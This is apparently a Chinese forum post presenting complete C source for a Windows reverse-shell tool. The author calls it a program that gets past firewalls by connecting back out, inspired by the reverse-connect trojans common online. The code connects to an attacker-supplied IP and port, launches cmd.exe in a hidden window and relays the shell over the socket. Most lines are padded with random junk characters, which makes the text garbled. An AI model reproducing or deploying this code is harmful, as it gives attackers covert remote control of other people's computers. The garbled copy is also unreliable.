这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d;:&3r|X
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/* ============================== 4lUE(#kUM
Rebound port in Windows NT J15T!_AW<
By wind,2006/7 >Io7h#[u
===============================*/ +p<R'/
#include je3n'^m
#include cB=u;$k@*
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#pragma comment(lib,"wsock32.lib") 8'Bl=C|0X
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void OutputShell(); Xb]?/7
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SOCKET sClient; Cbvl( (
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8 %f!
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void main(int argc,char **argv) lA
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{ u3brb'Y+
WSADATA stWsaData; ;-^9j)31+F
int nRet; (gB=!1/|G
SOCKADDR_IN stSaiClient,stSaiServer; =U`c
}dhS
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if(argc != 3) e-)1K
{ Jc^ozw
printf("Useage:\n\rRebound DestIP DestPort\n"); 4!%LD(jB`B
return; 0j MI)aY.
} M=_CqK*
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WSAStartup(MAKEWORD(2,2),&stWsaData); ;#yz i2f
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'qS!n
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stSaiClient.sin_family = AF_INET; nDw9
stSaiClient.sin_port = htons(0); 1V?)zp
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); J"|$V#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) lf#six
{ (oEA)yc|
printf("Bind Socket Failed!\n"); W<7Bq_L[|
return; p:%E>K1<
} ;0q6 bp(<H
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stSaiServer.sin_family = AF_INET; '#6DI"vJ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O0YGjS|d
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HX*U2<^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c7wgjQ[
{ <qx-%6
printf("Connect Error!"); Z3{Qtysuv3
return; 7IH{5o\e
} 8!Kfe
OutputShell(); bNgcZ
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} m#'9)%t!J
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void OutputShell() WU_Q
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{ ~'iuh>O)
char szBuff[1024]; *CSFkWVa
SECURITY_ATTRIBUTES stSecurityAttributes; ljmHX2p
OSVERSIONINFO stOsversionInfo; %SXqJW^:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !>j-j
STARTUPINFO stStartupInfo; c2"OpI
char *szShell; E;0"1
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PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; C%"@|01cO
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 59u7q(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); V6N#%(?3
stSecurityAttributes.lpSecurityDescriptor = 0; S1JB]\
stSecurityAttributes.bInheritHandle = TRUE; .w&Z=YM
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); l8Ox]%F
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 0@KBQv"v
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); X|as1Y$O+
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O<5bsKw'r
stStartupInfo.wShowWindow = SW_HIDE; XOoND
stStartupInfo.hStdInput = hReadPipe; 4Y'qoM;
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <K~#@.^`
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GetVersionEx(&stOsversionInfo); g6S8@b))|
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switch(stOsversionInfo.dwPlatformId) cuHs`{u@P
{ I]h+24_S
case 1: 7~
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szShell = "command.com"; t}K?.To$
break; !&X}?NK
default: _\"?:~rUN
szShell = "cmd.exe"; a)xN(xp##
break; =i.[|g"
} ) ":~`Z*@
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); FD8aO?wvg
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send(sClient,szMsg,77,0); f-#fi7
while(1) WW&0FugY_
{ IV\@GM:ait
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); OLv(
if(lBytesRead) 3Vhm$y%Td
{ ^rI&BN@S
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); aJ2-BRn
send(sClient,szBuff,lBytesRead,0); tTY (I1
} /dCZoz~~T
else ~-,<`VY
{ yjr!8L:m
lBytesRead=recv(sClient,szBuff,1024,0); .NabK
if(lBytesRead<=0) break; 1=s%.0
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); atYm.qb
} R+5x:mpHy
} ^ c:(HUo#
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return; mI l_
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}